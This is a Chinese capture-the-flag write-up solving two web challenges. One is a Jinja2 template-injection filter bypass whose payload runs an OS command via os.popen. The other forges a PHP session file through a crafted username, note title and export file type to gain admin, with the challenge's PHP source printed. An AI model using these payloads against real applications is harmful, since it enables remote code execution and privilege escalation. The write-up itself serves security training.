1. TemplatePlay
1. 题目考查技术点
jinja2 ssti bypass
题目设计思路:通过前端代码发现,功能点和白名单user-agent ->测试存在ssti->bypass 拦截->通过命令执行->获取flag。
解题步骤:
1. 访问web网站,通过查看sources 可以看到加载了user-agent.js文件,能看到白名单的user-agent以及一个接口。
直接访问该接口会报错,所以把ua修改成js代码内的ua,再次访问
回显了string的值,尝试判断是否存在ssti,2*4被解析,所以存在ssti。
尝试构造利用链,这里拦截规则为string 的花括号的内的值不能出现,[],(),””,’’,|。等特殊字符,并且花括号内如果出现 . 符号,则 第一个.符号前的值不能超过4位。
常见的payload 均不可用。通过阅读jinja源码可以发现,jinja2内的undefined ,并非是python本身的而是自身修改过的并且继承自object,这样就可以直接使用此对象查找魔术方法,构造利用链。
最终payload
{{ads.__init__.__globals__.__builtins__.__import__("os").popen("cat+config/flag.txt").read()}}
2.MyNotes
1. 题目考查技术点
逻辑漏洞
session反序列化
进入题目,是一个在线写笔记的服务:
随便登录一个用户进入:
Add note可以创建笔记:
还有一个Admin页面,但是只有管理员可以访问:
flag.php:
<section>
<h2>Admin Page</h2>
<p>
<?php
if (is_admin()) {
echo "Welcome, Admin, this is your secret: <code>" . file_get_contents('/flag') . "</code>";
} else {
echo "You are not an admin :(";
}
?>
</p>
</section>
可知,只有我们登上了admin,才能得到flag。
config.php:
<?php
define('TEMP_DIR', '/var/www/tmp');
init.php:
<?php
error_reporting(0);require_once('config.php');
require_once('lib.php');
session_save_path(TEMP_DIR); // /var/www/tmp
session_start();
可知session的存放路径为TEMP_DIR,即/var/www/tmp。
lib.php:
<?php
function redirect($path) {
header('Location: ' . $path);
exit();
}// utility functions
function e($str) {
return htmlspecialchars($str, ENT_QUOTES);
}
// user-related functions
function validate_user($user) {
if (!is_string($user)) {
return false;
}
return preg_match('/\A[0-9A-Z_-]{4,64}\z/i', $user);
}
function is_logged_in() {
return isset($_SESSION['user']) && !empty($_SESSION['user']);
}
function set_user($user) { // 在session中设置user
$_SESSION['user'] = $user;
}
function get_user() { // 获取session中的user
return $_SESSION['user'];
}
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true; // 判断是否是admin
}
// note-related functions
function get_notes() {
if (!isset($_SESSION['notes'])) {
$_SESSION['notes'] = [];
}
return $_SESSION['notes'];
}
function add_note($title, $body) {
$notes = get_notes();
array_push($notes, [
'title' => $title,
'body' => $body,
'id' => hash('sha256', microtime())
]);
$_SESSION['notes'] = $notes;
}
function find_note($notes, $id) {
for ($index = 0; $index < count($notes); $index++) {
if ($notes[$index]['id'] === $id) {
return $index;
}
}
return FALSE;
}
function delete_note($id) {
$notes = get_notes();
$index = find_note($notes, $id);
if ($index !== FALSE) {
array_splice($notes, $index, 1);
}
$_SESSION['notes'] = $notes;
}
可知,目标题目会把我们登陆的用户名、是否为admin、编写的notes、notes的id/title/body、等信息存放在session中,由于php默认的session序列化引擎(session.serialize_handler)为php,所以,session中的信息经反序列化后得到的数据格式应为 键值|序列化后的值
。即admin|b:1;
会被反序列化成admin==bool(true),就会是$_SESSION["admin"]=true
了。
export.php:
<?php
require_once('init.php');if (!is_logged_in()) {
redirect('/?page=home');
}
$notes = get_notes();
if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type; // whoami-9a989aea898.zip
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename; // /var/www/tmp/whoami-9a989aea898.zip
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
// use zip as default
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}
for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}
if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);
可用来打包下载我们创建的nodes,这里会将我们session中的nodes里的信息写入到打包文件中,并将打包完成的文件生成在/var/www/tmp目录里面,与我们的session文件存放的路径一样。而且下载的文件名是可控的,即 用户名+bin2hex(random_bytes(8))+type
,前提是要先通过GET方法指导下载的type。
那我们的思路来了,我们先通过指定用户名为 sess_
并然后登录进去,然后我们再在Add notes中创建一个笔记,title为 |N;admin|b:1;
:
|N;
用来闭合前面的杂乱数据。
这样反序列化结果便可为:admin==bool(true)
。
最后在访问export.php?type=.
下载文件,便可使得这个.
与前面的.
拼接成..
被替换为空,$filename
也就成为了session文件名了:
得到的文件名为sess_-ed13a429014accec
:
从sess_-ed13a429014accec
文件中的内容也可以看出来,要想成功将admin|b:1;
给反序列化则必须要在其前面加上个 |N;
用来闭合前面的杂乱数据。
然后,我们将cookie里的PHPSESSID值改为-ed13a429014accec
即可触发session反序列化,将sess_-ed13a429014accec
里的admin|b:1;
给反序列化为admin==bool(true),成功登录admin并获得flag:
END